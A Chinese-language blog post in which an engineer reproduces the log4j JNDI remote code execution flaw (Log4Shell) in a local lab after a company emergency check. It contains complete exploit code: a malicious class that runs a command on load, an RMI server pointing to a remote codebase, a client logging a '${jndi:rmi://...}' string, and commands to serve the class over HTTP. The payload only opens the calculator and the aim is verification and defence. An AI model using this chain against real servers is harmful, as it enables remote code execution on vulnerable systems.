前景:昨天被一則新聞刷屏
當看到這個消息的時候,公司也啟動緊急響應,要求來檢查目前生產中使用的log4j版本是否有這個問題,根據火線官方說明,但凡是版本在 2.x <= 2.15.0-rc1,都會有這個漏洞,一看到這個,我就知道基本全覆蓋了,果然一看服務器上的組件,hadoop全家桶、elasticsearch、flink、spark 基本全部命中,緊急之下,先讓運維同志先攔截一切帶有 jndi: 關鍵字的請求,為了更好的驗證這個bug,我們在自己的電腦上做了復現
RmiServer:Rmi服務端代碼
該項目用於啟動Rmi的地址服務功能
com.server.EvilObj //惡意代碼,會啟動客戶端的計算器軟件
1 package com.server;//package com.hns; 2 3 import javax.lang.model.element.Name; 4 import javax.naming.Context; 5 import java.io.BufferedInputStream; 6 import java.io.BufferedReader; 7 import java.io.IOException; 8 import java.io.InputStreamReader; 9 import java.rmi.RemoteException; 10 import java.rmi.server.UnicastRemoteObject; 11 import java.util.HashMap; 12 13 public class EvilObj extends UnicastRemoteObject { 14 protected EvilObj() throws RemoteException { 15 } 16 17 public static void exec(String cmd) throws IOException { 18 String sb = ""; 19 BufferedInputStream bufferedInputStream = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream()); 20 BufferedReader inBr = new BufferedReader(new InputStreamReader(bufferedInputStream)); 21 String lineStr; 22 while((lineStr = inBr.readLine()) != null){ 23 sb += lineStr+"\n"; 24 25 } 26 inBr.close(); 27 inBr.close(); 28 } 29 30 public Object getObjectInstance(Object obj, Name name, Context context, HashMap<?, ?> environment) throws Exception{ 31 return null; 32 } 33 34 static { 35 try{ 36 exec("calc.exe"); 37 }catch (Exception e){ 38 e.printStackTrace(); 39 } 40 } 41 }
com.server.Server //rmi服務,綁定rmi注冊表
1 package com.server; 2 3 import com.sun.jndi.rmi.registry.ReferenceWrapper; 4 5 import javax.naming.NamingException; 6 import javax.naming.Reference; 7 import java.rmi.AlreadyBoundException; 8 import java.rmi.RemoteException; 9 import java.rmi.registry.LocateRegistry; 10 import java.rmi.registry.Registry; 11 12 public class Server { 13 public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { 14 System.setProperty("FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS", "true"); 15 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); 16 17 Registry registry = LocateRegistry.createRegistry(1099); 18 String url = "http://192.168.32.90:6666/"; //下載惡意代碼的地址,被攻擊者會到 http://192.168.32.90:6666/com/server/EvilObj.class下載惡意代碼
19 System.out.println("Create RMI registry on port 1099"); 20 Reference reference = new Reference("com.server.EvilObj", "com.server.EvilObj", url);
21 ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
22 registry.bind("evil", referenceWrapper);
23 }
24 }
Log4j2Client :Log4j2客戶端代碼
com.client.Client
1 package com.client; 2 3 import org.apache.logging.log4j.LogManager; 4 import org.apache.logging.log4j.Logger; 5 6 import javax.naming.NamingException; 7 8 public class Client { 9 private static Logger log = LogManager.getLogger(Client.class); 10 public static void main(String[] args) throws NamingException, InterruptedException { 11 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); 12 System.setProperty("FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS", "true"); 13 // Context context = new InitialContext(); 14 // context.lookup("rmi://192.168.32.90:1099/evil"); //直接請求rmi服務 15 16 log.error("${jndi:rmi://192.168.32.90:1099/evil}"); //用jndi方式,拉取加載rmi服務 17 } 18 }
部署:
1、將RmiServer 項目部署到 一台遠程的window電腦上(192.168.32.90),使用下面命令啟動
1 D:\ProgramFiles\java\jdk1.8.0_121\bin\java.exe -cp RmiServer-1.0-SNAPSHOT.jar com.server.Server
2、在遠程的window電腦上(192.168.32.90)上創建目錄:D:\documents\desktop\test\ClassLoadHttpServer\com\server,里面放上 惡意代碼的class文件:EvilObj.class
3、在D:\documents\desktop\test\ClassLoadHttpServer目錄下,執行下面命令,啟動一個http服務端,提供惡意代碼的class文件給被攻擊者下載
1 python -m http.server 6666
4、在本機上,啟動Log4j2Client項目的 com.client.Client#main 方法,就會觸發自己本機的計算器被啟動